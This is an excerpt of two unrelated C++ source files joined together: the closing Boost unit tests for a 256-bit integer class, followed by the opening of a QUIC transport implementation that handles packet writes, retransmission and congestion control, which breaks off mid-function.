BOOST_CHECK(MaxL.GetHex() == MaxL.ToString());
arith_uint256 TmpL(R1L);
BOOST_CHECK(TmpL == R1L);
TmpL.SetHex(R2L.ToString()); BOOST_CHECK(TmpL == R2L);
TmpL.SetHex(ZeroL.ToString()); BOOST_CHECK(TmpL == 0);
TmpL.SetHex(HalfL.ToString()); BOOST_CHECK(TmpL == HalfL);
TmpL.SetHex(R1L.ToString());
BOOST_CHECK(R1L.size() == 32);
BOOST_CHECK(R2L.size() == 32);
BOOST_CHECK(ZeroL.size() == 32);
BOOST_CHECK(MaxL.size() == 32);
BOOST_CHECK(R1L.GetLow64() == R1LLow64);
BOOST_CHECK(HalfL.GetLow64() ==0x0000000000000000ULL);
BOOST_CHECK(OneL.GetLow64() ==0x0000000000000001ULL);
for (unsigned int i = 0; i < 255; ++i)
{
BOOST_CHECK((OneL << i).getdouble() == ldexp(1.0,i));
}
BOOST_CHECK(ZeroL.getdouble() == 0.0);
for (int i = 256; i > 53; --i)
BOOST_CHECK(almostEqual((R1L>>(256-i)).getdouble(), ldexp(R1Ldouble,i)));
uint64_t R1L64part = (R1L>>192).GetLow64();
for (int i = 53; i > 0; --i) // doubles can store all integers in {0,...,2^54-1} exactly
{
BOOST_CHECK((R1L>>(256-i)).getdouble() == (double)(R1L64part >> (64-i)));
}
}
BOOST_AUTO_TEST_CASE(bignum_SetCompact)
{
arith_uint256 num;
bool fNegative;
bool fOverflow;
num.SetCompact(0, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x00123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x01003456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x02000056, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x03000000, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x04000000, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x00923456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x01803456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x02800056, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x03800000, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x04800000, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x01123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000000012");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x01120000U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
// Make sure that we don't generate compacts with the 0x00800000 bit set
num = 0x80;
BOOST_CHECK_EQUAL(num.GetCompact(), 0x02008000U);
num.SetCompact(0x01fedcba, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "000000000000000000000000000000000000000000000000000000000000007e");
BOOST_CHECK_EQUAL(num.GetCompact(true), 0x01fe0000U);
BOOST_CHECK_EQUAL(fNegative, true);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x02123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000001234");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x02123400U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x03123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000000123456");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x03123456U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x04123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000012345600");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x04123456U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x04923456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000012345600");
BOOST_CHECK_EQUAL(num.GetCompact(true), 0x04923456U);
BOOST_CHECK_EQUAL(fNegative, true);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x05009234, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "0000000000000000000000000000000000000000000000000000000092340000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x05009234U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0x20123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(num.GetHex(), "1234560000000000000000000000000000000000000000000000000000000000");
BOOST_CHECK_EQUAL(num.GetCompact(), 0x20123456U);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, false);
num.SetCompact(0xff123456, &fNegative, &fOverflow);
BOOST_CHECK_EQUAL(fNegative, false);
BOOST_CHECK_EQUAL(fOverflow, true);
}
BOOST_AUTO_TEST_CASE( getmaxcoverage ) // some more tests just to get 100% coverage
{
// ~R1L give a base_uint<256>
BOOST_CHECK((~~R1L >> 10) == (R1L >> 10));
BOOST_CHECK((~~R1L << 10) == (R1L << 10));
BOOST_CHECK(!(~~R1L < R1L));
BOOST_CHECK(~~R1L <= R1L);
BOOST_CHECK(!(~~R1L > R1L));
BOOST_CHECK(~~R1L >= R1L);
BOOST_CHECK(!(R1L < ~~R1L));
BOOST_CHECK(R1L <= ~~R1L);
BOOST_CHECK(!(R1L > ~~R1L));
BOOST_CHECK(R1L >= ~~R1L);
BOOST_CHECK(~~R1L + R2L == R1L + ~~R2L);
BOOST_CHECK(~~R1L - R2L == R1L - ~~R2L);
BOOST_CHECK(~R1L != R1L); BOOST_CHECK(R1L != ~R1L);
unsigned char TmpArray[32];
CHECKBITWISEOPERATOR(~R1,R2,|)
CHECKBITWISEOPERATOR(~R1,R2,^)
CHECKBITWISEOPERATOR(~R1,R2,&)
CHECKBITWISEOPERATOR(R1,~R2,|)
CHECKBITWISEOPERATOR(R1,~R2,^)
CHECKBITWISEOPERATOR(R1,~R2,&)
}
BOOST_AUTO_TEST_SUITE_END()
|
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
#include <quic/api/QuicTransportFunctions.h>
#include <folly/Overload.h>
#include <quic/QuicConstants.h>
#include <quic/QuicException.h>
#include <quic/api/IoBufQuicBatch.h>
#include <quic/api/QuicTransportFunctions.h>
#include <quic/codec/QuicPacketBuilder.h>
#include <quic/codec/QuicWriteCodec.h>
#include <quic/codec/Types.h>
#include <quic/flowcontrol/QuicFlowController.h>
#include <quic/happyeyeballs/QuicHappyEyeballsFunctions.h>
#include <quic/logging/QuicLogger.h>
#include <quic/state/QuicStateFunctions.h>
#include <quic/state/QuicStreamFunctions.h>
#include <quic/state/SimpleFrameFunctions.h>
namespace {
std::string optionalToString(
const folly::Optional<quic::PacketNum>& packetNum) {
if (!packetNum) {
return "-";
}
return folly::to<std::string>(*packetNum);
}
std::string largestAckScheduledToString(
const quic::QuicConnectionStateBase& conn) noexcept {
return folly::to<std::string>(
"[",
optionalToString(conn.ackStates.initialAckState.largestAckScheduled),
",",
optionalToString(conn.ackStates.handshakeAckState.largestAckScheduled),
",",
optionalToString(conn.ackStates.appDataAckState.largestAckScheduled),
"]");
}
std::string largestAckToSendToString(
const quic::QuicConnectionStateBase& conn) noexcept {
return folly::to<std::string>(
"[",
optionalToString(largestAckToSend(conn.ackStates.initialAckState)),
",",
optionalToString(largestAckToSend(conn.ackStates.handshakeAckState)),
",",
optionalToString(largestAckToSend(conn.ackStates.appDataAckState)),
"]");
}
bool toWriteInitialAcks(const quic::QuicConnectionStateBase& conn) {
return (
conn.initialWriteCipher &&
hasAcksToSchedule(conn.ackStates.initialAckState) &&
conn.ackStates.initialAckState.needsToSendAckImmediately);
}
bool toWriteHandshakeAcks(const quic::QuicConnectionStateBase& conn) {
return (
conn.handshakeWriteCipher &&
hasAcksToSchedule(conn.ackStates.handshakeAckState) &&
conn.ackStates.handshakeAckState.needsToSendAckImmediately);
}
bool toWriteAppDataAcks(const quic::QuicConnectionStateBase& conn) {
return (
conn.oneRttWriteCipher &&
hasAcksToSchedule(conn.ackStates.appDataAckState) &&
conn.ackStates.appDataAckState.needsToSendAckImmediately);
}
} // namespace
namespace quic {
void handleNewStreamDataWritten(
QuicConnectionStateBase& conn,
QuicStreamLike& stream,
uint64_t frameLen,
bool frameFin,
PacketNum packetNum,
PacketNumberSpace packetNumberSpace) {
auto originalOffset = stream.currentWriteOffset;
VLOG(10) << nodeToString(conn.nodeType) << " sent"
<< " packetNum=" << packetNum << " space=" << packetNumberSpace
<< " " << conn;
// Idealy we should also check this data doesn't exist in either retx buffer
// or loss buffer, but that's an expensive search.
stream.currentWriteOffset += frameLen;
auto bufWritten = stream.writeBuffer.splitAtMost(folly::to<size_t>(frameLen));
DCHECK_EQ(bufWritten->computeChainDataLength(), frameLen);
stream.currentWriteOffset += frameFin ? 1 : 0;
CHECK(stream.retransmissionBuffer
.emplace(
std::piecewise_construct,
std::forward_as_tuple(originalOffset),
std::forward_as_tuple(
std::move(bufWritten), originalOffset, frameFin))
.second);
}
void handleRetransmissionWritten(
QuicConnectionStateBase& conn,
QuicStreamLike& stream,
uint64_t frameOffset,
uint64_t frameLen,
bool frameFin,
PacketNum packetNum,
std::deque<StreamBuffer>::iterator lossBufferIter) {
conn.lossState.totalBytesRetransmitted += frameLen;
VLOG(10) << nodeToString(conn.nodeType) << " sent retransmission"
<< " packetNum=" << packetNum << " " << conn;
auto bufferLen = lossBufferIter->data.chainLength();
Buf bufWritten;
if (frameLen == bufferLen && frameFin == lossBufferIter->eof) {
// The buffer is entirely retransmitted
bufWritten = lossBufferIter->data.move();
stream.lossBuffer.erase(lossBufferIter);
} else {
lossBufferIter->offset += frameLen;
bufWritten = lossBufferIter->data.splitAtMost(frameLen);
}
CHECK(stream.retransmissionBuffer
.emplace(
std::piecewise_construct,
std::forward_as_tuple(frameOffset),
std::forward_as_tuple(
std::move(bufWritten), frameOffset, frameFin))
.second);
}
/**
* Update the connection and stream state after stream data is written and deal
* with new data, as well as retranmissions. Returns true if the data sent is
* new data.
*/
bool handleStreamWritten(
QuicConnectionStateBase& conn,
QuicStreamLike& stream,
uint64_t frameOffset,
uint64_t frameLen,
bool frameFin,
PacketNum packetNum,
PacketNumberSpace packetNumberSpace) {
// Handle new data first
if (frameOffset == stream.currentWriteOffset) {
handleNewStreamDataWritten(
conn, stream, frameLen, frameFin, packetNum, packetNumberSpace);
return true;
}
// If the data is in the loss buffer, it is a retransmission.
auto lossBufferIter = std::lower_bound(
stream.lossBuffer.begin(),
stream.lossBuffer.end(),
frameOffset,
[](const auto& buf, auto off) { return buf.offset < off; });
if (lossBufferIter != stream.lossBuffer.end() &&
lossBufferIter->offset == frameOffset) {
handleRetransmissionWritten(
conn,
stream,
frameOffset,
frameLen,
frameFin,
packetNum,
lossBufferIter);
QUIC_STATS(conn.infoCallback, onPacketRetransmission);
return false;
}
// Otherwise it must be a clone write.
conn.lossState.totalStreamBytesCloned += frameLen;
return false;
}
void updateConnection(
QuicConnectionStateBase& conn,
folly::Optional<PacketEvent> packetEvent,
RegularQuicWritePacket packet,
TimePoint sentTime,
uint32_t encodedSize) {
auto packetNum = packet.header.getPacketSequenceNum();
bool retransmittable = false; // AckFrame and PaddingFrame are not retx-able.
bool isHandshake = false;
uint32_t connWindowUpdateSent = 0;
uint32_t ackFrameCounter = 0;
auto packetNumberSpace = packet.header.getPacketNumberSpace();
VLOG(10) << nodeToString(conn.nodeType) << " sent packetNum=" << packetNum
<< " in space=" << packetNumberSpace << " size=" << encodedSize
<< " " << conn;
if (conn.qLogger) {
conn.qLogger->addPacket(packet, encodedSize);
}
for (const auto& frame : packet.frames) {
switch (frame.type()) {
case QuicWriteFrame::Type::WriteStreamFrame_E: {
const WriteStreamFrame& writeStreamFrame = *frame.asWriteStreamFrame();
retransmittable = true;
auto stream = CHECK_NOTNULL(
conn.streamManager->getStream(writeStreamFrame.streamId));
auto newStreamDataWritten = handleStreamWritten(
conn,
*stream,
writeStreamFrame.offset,
writeStreamFrame.len,
writeStreamFrame.fin,
packetNum,
packetNumberSpace);
if (newStreamDataWritten) {
updateFlowControlOnWriteToSocket(*stream, writeStreamFrame.len);
maybeWriteBlockAfterSocketWrite(*stream);
conn.streamManager->updateWritableStreams(*stream);
}
conn.streamManager->updateLossStreams(*stream);
break;
}
case QuicWriteFrame::Type::WriteCryptoFrame_E: {
const WriteCryptoFrame& writeCryptoFrame = *frame.asWriteCryptoFrame();
retransmittable = true;
auto protectionType = packet.header.getProtectionType();
// NewSessionTicket is sent in crypto frame encrypted with 1-rtt key,
// however, it is not part of handshake
isHandshake =
(protectionType == ProtectionType::Initial ||
protectionType == ProtectionType::Handshake);
auto encryptionLevel = protectionTypeToEncryptionLevel(protectionType);
handleStreamWritten(
conn,
*getCryptoStream(*conn.cryptoState, encryptionLevel),
writeCryptoFrame.offset,
writeCryptoFrame.len,
false,
packetNum,
packetNumberSpace);
break;
}
case QuicWriteFrame::Type::WriteAckFrame_E: {
const WriteAckFrame& writeAckFrame = *frame.asWriteAckFrame();
DCHECK(!ackFrameCounter++)
<< "Send more than one WriteAckFrame " << conn;
auto largestAckedPacketWritten = writeAckFrame.ackBlocks.back().end;
VLOG(10) << nodeToString(conn.nodeType)
<< " sent packet with largestAcked="
<< largestAckedPacketWritten << " packetNum=" << packetNum
<< " " << conn;
updateAckSendStateOnSentPacketWithAcks(
conn,
getAckState(conn, packetNumberSpace),
largestAckedPacketWritten);
break;
}
case QuicWriteFrame::Type::RstStreamFrame_E: {
const RstStreamFrame& rstStreamFrame = *frame.asRstStreamFrame();
retransmittable = true;
VLOG(10) << nodeToString(conn.nodeType)
<< " sent reset streams in packetNum=" << packetNum << " "
<< conn;
auto resetIter =
conn.pendingEvents.resets.find(rstStreamFrame.streamId);
// TODO: this can happen because we clone RST_STREAM frames. Should we
// start to treat RST_STREAM in the same way we treat window update?
if (resetIter != conn.pendingEvents.resets.end()) {
conn.pendingEvents.resets.erase(resetIter);
} else {
DCHECK(packetEvent.hasValue())
<< " reset missing from pendingEvents for non-clone packet";
}
break;
}
case QuicWriteFrame::Type::MaxDataFrame_E: {
const MaxDataFrame& maxDataFrame = *frame.asMaxDataFrame();
CHECK(!connWindowUpdateSent++)
<< "Send more than one connection window update " << conn;
VLOG(10) << nodeToString(conn.nodeType)
<< " sent conn window update packetNum=" << packetNum << " "
<< conn;
retransmittable = true;
VLOG(10) << nodeToString(conn.nodeType)
<< " sent conn window update in packetNum=" << packetNum << " "
<< conn;
onConnWindowUpdateSent(
conn, packetNum, maxDataFrame.maximumData, sentTime);
break;
}
case QuicWriteFrame::Type::MaxStreamDataFrame_E: {
const MaxStreamDataFrame& maxStreamDataFrame =
*frame.asMaxStreamDataFrame();
auto stream = CHECK_NOTNULL(
conn.streamManager->getStream(maxStreamDataFrame.streamId));
retransmittable = true;
VLOG(10) << nodeToString(conn.nodeType)
<< " sent packet with window update packetNum=" << packetNum
<< " stream=" << maxStreamDataFrame.streamId << " " << conn;
onStreamWindowUpdateSent(
*stream, packetNum, maxStreamDataFrame.maximumData, sentTime);
break;
}
case QuicWriteFrame::Type::StreamDataBlockedFrame_E: {
const StreamDataBlockedFrame& streamBlockedFrame =
*frame.asStreamDataBlockedFrame();
VLOG(10) << nodeToString(conn.nodeType)
<< " sent blocked stream frame packetNum=" << packetNum << " "
<< conn;
retransmittable = true;
conn.streamManager->removeBlocked(streamBlockedFrame.streamId);
break;
}
case QuicWriteFrame::Type::QuicSimpleFrame_E: {
const QuicSimpleFrame& simpleFrame = *frame.asQuicSimpleFrame();
retransmittable = true;
// We don't want this triggered for cloned frames.
if (!packetEvent.hasValue()) {
updateSimpleFrameOnPacketSent(conn, simpleFrame);
}
break;
}
case QuicWriteFrame::Type::PaddingFrame_E: {
// do not mark padding as retransmittable. There are several reasons
// for this:
// 1. We might need to pad ACK packets to make it so that we can
// sample them correctly for header encryption. ACK packets may not
// count towards congestion window, so the padding frames in those
// ack packets should not count towards the window either
// 2. Of course we do not want to retransmit the ACK frames.
break;
}
default:
retransmittable = true;
}
}
increaseNextPacketNum(conn, packetNumberSpace);
conn.lossState.largestSent = std::max(conn.lossState.largestSent, packetNum);
// updateConnection may be called multiple times during write. If before or
// during any updateConnection, setLossDetectionAlarm is already set, we
// shouldn't clear it:
if (!conn.pendingEvents.setLossDetectionAlarm) {
conn.pendingEvents.setLossDetectionAlarm = retransmittable;
}
conn.lossState.totalBytesSent += encodedSize;
if (!retransmittable) {
DCHECK(!packetEvent);
return;
}
OutstandingPacket pkt(
std::move(packet),
std::move(sentTime),
encodedSize,
isHandshake,
conn.lossState.totalBytesSent);
pkt.isAppLimited = conn.congestionController
? conn.congestionController->isAppLimited()
: false;
if (conn.lossState.lastAckedTime.hasValue() &&
conn.lossState.lastAckedPacketSentTime.hasValue()) {
pkt.lastAckedPacketInfo.emplace(
*conn.lossState.lastAckedPacketSentTime,
*conn.lossState.lastAckedTime,
conn.lossState.totalBytesSentAtLastAck,
conn.lossState.totalBytesAckedAtLastAck);
}
if (packetEvent) {
DCHECK(conn.outstandingPacketEvents.count(*packetEvent));
DCHECK(!isHandshake);
pkt.associatedEvent = std::move(packetEvent);
conn.lossState.totalBytesCloned += encodedSize;
}
if (conn.congestionController) {
conn.congestionController->onPacketSent(pkt);
// An approximation of the app being blocked. The app
// technically might not have bytes to write.
auto writableBytes = conn.congestionController->getWritableBytes();
bool cwndBlocked = writableBytes < kBlockedSizeBytes;
if (cwndBlocked) {
QUIC_TRACE(
cwnd_may_block,
conn,
writableBytes,
conn.congestionController->getCongestionWindow());
}
}
if (conn.pacer) {
conn.pacer->onPacketSent();
}
if (conn.pathValidationLimiter &&
(conn.pendingEvents.pathChallenge || conn.outstandingPathValidation)) {
conn.pathValidationLimiter->onPacketSent(pkt.encodedSize);
}
if (pkt.isHandshake) {
++conn.outstandingHandshakePacketsCount;
conn.lossState.lastHandshakePacketSentTime = pkt.time;
}
conn.lossState.lastRetransmittablePacketSentTime = pkt.time;
if (pkt.associatedEvent) {
CHECK_EQ(packetNumberSpace, PacketNumberSpace::AppData);
++conn.outstandingClonedPacketsCount;
++conn.lossState.timeoutBasedRtxCount;
}
auto packetIt =
std::find_if(
conn.outstandingPackets.rbegin(),
conn.outstandingPackets.rend(),
[packetNum](const auto& packetWithTime) {
return packetWithTime.packet.header.getPacketSequenceNum() <
packetNum;
})
.base();
conn.outstandingPackets.insert(packetIt, std::move(pkt));
auto opCount = conn.outstandingPackets.size();
DCHECK_GE(opCount, conn.outstandingHandshakePacketsCount);
DCHECK_GE(opCount, conn.outstandingClonedPacketsCount);
}
uint64_t congestionControlWritableBytes(const QuicConnectionStateBase& conn) {
uint64_t writableBytes = std::numeric_limits<uint64_t>::max();
if (conn.pendingEvents.pathChallenge || conn.outstandingPathValidation) {
CHECK(conn.pathValidationLimiter);
// 0-RTT and path validation rate limiting should be mutually exclusive.
CHECK(!conn.writableBytesLimit);
// Use the default RTT measurement when starting a new path challenge (CC is
// reset). This shouldn't be an RTT sample, so we do not update the CC with
// this value.
writableBytes = conn.pathValidationLimiter->currentCredit(
std::chrono::steady_clock::now(),
conn.lossState.srtt == 0us ? kDefaultInitialRtt : conn.lossState.srtt);
} else if (conn.writableBytesLimit) {
if (*conn.writableBytesLimit <= conn.lossState.totalBytesSent) {
return 0;
}
writableBytes = *conn.writableBytesLimit - conn.lossState.totalBytesSent;
}
if (conn.congestionController) {
writableBytes = std::min<uint64_t>(
writableBytes, conn.congestionController->getWritableBytes());
}
return writableBytes;
}
uint64_t unlimitedWritableBytes(const QuicConnectionStateBase&) {
return std::numeric_limits<uint64_t>::max();
}
HeaderBuilder LongHeaderBuilder(LongHeader::Types packetType) {
return [packetType](
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
PacketNum packetNum,
QuicVersion version,
const std::string& token) {
return LongHeader(
packetType, srcConnId, dstConnId, packetNum, version, token);
};
}
HeaderBuilder ShortHeaderBuilder() {
return [](const ConnectionId& /* srcConnId */,
const ConnectionId& dstConnId,
PacketNum packetNum,
QuicVersion,
const std::string&) {
return ShortHeader(ProtectionType::KeyPhaseZero, dstConnId, packetNum);
};
}
uint64_t writeQuicDataToSocket(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version,
uint64_t packetLimit) {
auto builder = ShortHeaderBuilder();
// TODO: In FrameScheduler, Retx is prioritized over new data. We should
// add a flag to the Scheduler to control the priority between them and see
// which way is better.
uint64_t written = 0;
if (connection.pendingEvents.numProbePackets) {
auto probeScheduler = std::move(FrameScheduler::Builder(
connection,
EncryptionLevel::AppData,
PacketNumberSpace::AppData,
"ProbeScheduler")
.streamFrames()
.streamRetransmissions()
.cryptoFrames())
.build();
written = writeProbingDataToSocket(
sock,
connection,
srcConnId,
dstConnId,
builder,
PacketNumberSpace::AppData,
probeScheduler,
std::min<uint64_t>(
packetLimit, connection.pendingEvents.numProbePackets),
aead,
headerCipher,
version);
connection.pendingEvents.numProbePackets = 0;
}
FrameScheduler scheduler = std::move(FrameScheduler::Builder(
connection,
EncryptionLevel::AppData,
PacketNumberSpace::AppData,
"FrameScheduler")
.streamFrames()
.ackFrames()
.streamRetransmissions()
.resetFrames()
.windowUpdateFrames()
.blockedFrames()
.cryptoFrames()
.simpleFrames())
.build();
written += writeConnectionDataToSocket(
sock,
connection,
srcConnId,
dstConnId,
std::move(builder),
PacketNumberSpace::AppData,
scheduler,
congestionControlWritableBytes,
packetLimit - written,
aead,
headerCipher,
version);
VLOG_IF(10, written > 0) << nodeToString(connection.nodeType)
<< " written data to socket packets=" << written
<< " " << connection;
DCHECK_GE(packetLimit, written);
return written;
}
uint64_t writeCryptoAndAckDataToSocket(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
LongHeader::Types packetType,
Aead& cleartextCipher,
const PacketNumberCipher& headerCipher,
QuicVersion version,
uint64_t packetLimit,
const std::string& token) {
auto encryptionLevel = protectionTypeToEncryptionLevel(
longHeaderTypeToProtectionType(packetType));
FrameScheduler scheduler =
std::move(FrameScheduler::Builder(
connection,
encryptionLevel,
LongHeader::typeToPacketNumberSpace(packetType),
"CryptoAndAcksScheduler")
.ackFrames()
.cryptoFrames())
.build();
auto builder = LongHeaderBuilder(packetType);
// Crypto data is written without aead protection.
auto written = writeConnectionDataToSocket(
sock,
connection,
srcConnId,
dstConnId,
std::move(builder),
LongHeader::typeToPacketNumberSpace(packetType),
scheduler,
congestionControlWritableBytes,
packetLimit,
cleartextCipher,
headerCipher,
version,
token);
VLOG_IF(10, written > 0) << nodeToString(connection.nodeType)
<< " written crypto and acks data type="
<< packetType << " packets=" << written << " "
<< connection;
DCHECK_GE(packetLimit, written);
return written;
}
uint64_t writeQuicDataExceptCryptoStreamToSocket(
folly::AsyncUDPSocket& socket,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version,
uint64_t packetLimit) {
auto builder = ShortHeaderBuilder();
uint64_t written = 0;
if (connection.pendingEvents.numProbePackets) {
auto probeScheduler = std::move(FrameScheduler::Builder(
connection,
EncryptionLevel::AppData,
PacketNumberSpace::AppData,
"ProbeWithoutCrypto")
.streamFrames()
.streamRetransmissions())
.build();
written = writeProbingDataToSocket(
socket,
connection,
srcConnId,
dstConnId,
builder,
PacketNumberSpace::AppData,
probeScheduler,
std::min<uint64_t>(
packetLimit, connection.pendingEvents.numProbePackets),
aead,
headerCipher,
version);
connection.pendingEvents.numProbePackets = 0;
}
FrameScheduler scheduler = std::move(FrameScheduler::Builder(
connection,
EncryptionLevel::AppData,
PacketNumberSpace::AppData,
"FrameSchedulerWithoutCrypto")
.streamFrames()
.ackFrames()
.streamRetransmissions()
.resetFrames()
.windowUpdateFrames()
.blockedFrames()
.simpleFrames())
.build();
written += writeConnectionDataToSocket(
socket,
connection,
srcConnId,
dstConnId,
std::move(builder),
PacketNumberSpace::AppData,
scheduler,
congestionControlWritableBytes,
packetLimit - written,
aead,
headerCipher,
version);
VLOG_IF(10, written > 0) << nodeToString(connection.nodeType)
<< " written data except crypto data, packets="
<< written << " " << connection;
DCHECK_GE(packetLimit, written);
return written;
}
uint64_t writeZeroRttDataToSocket(
folly::AsyncUDPSocket& socket,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version,
uint64_t packetLimit) {
auto type = LongHeader::Types::ZeroRtt;
auto encryptionLevel =
protectionTypeToEncryptionLevel(longHeaderTypeToProtectionType(type));
auto builder = LongHeaderBuilder(type);
// Probe is not useful for zero rtt because we will always have handshake
// packets outstanding when sending zero rtt data.
FrameScheduler scheduler =
std::move(FrameScheduler::Builder(
connection,
encryptionLevel,
LongHeader::typeToPacketNumberSpace(type),
"ZeroRttScheduler")
.streamFrames()
.streamRetransmissions()
.resetFrames()
.windowUpdateFrames()
.blockedFrames()
.simpleFrames())
.build();
auto written = writeConnectionDataToSocket(
socket,
connection,
srcConnId,
dstConnId,
std::move(builder),
LongHeader::typeToPacketNumberSpace(type),
scheduler,
congestionControlWritableBytes,
packetLimit,
aead,
headerCipher,
version);
VLOG_IF(10, written > 0) << nodeToString(connection.nodeType)
<< " written zero rtt data, packets=" << written
<< " " << connection;
DCHECK_GE(packetLimit, written);
return written;
}
void writeCloseCommon(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
PacketHeader&& header,
folly::Optional<std::pair<QuicErrorCode, std::string>> closeDetails,
const Aead& aead,
const PacketNumberCipher& headerCipher) {
// close is special, we're going to bypass all the packet sent logic for all
// packets we send with a connection close frame.
PacketNumberSpace pnSpace = header.getPacketNumberSpace();
HeaderForm headerForm = header.getHeaderForm();
PacketNum packetNum = header.getPacketSequenceNum();
RegularQuicPacketBuilder packetBuilder(
connection.udpSendPacketLen,
std::move(header),
getAckState(connection, pnSpace).largestAckedByPeer,
connection.version.value_or(*connection.originalVersion));
packetBuilder.setCipherOverhead(aead.getCipherOverhead());
size_t written = 0;
if (!closeDetails) {
written = writeFrame(
ConnectionCloseFrame(
QuicErrorCode(TransportErrorCode::NO_ERROR),
std::string("No error")),
packetBuilder);
} else {
switch (closeDetails->first.type()) {
case QuicErrorCode::Type::ApplicationErrorCode_E:
written = writeFrame(
ConnectionCloseFrame(
QuicErrorCode(*closeDetails->first.asApplicationErrorCode()),
closeDetails->second,
quic::FrameType::CONNECTION_CLOSE_APP_ERR),
packetBuilder);
break;
case QuicErrorCode::Type::TransportErrorCode_E:
written = writeFrame(
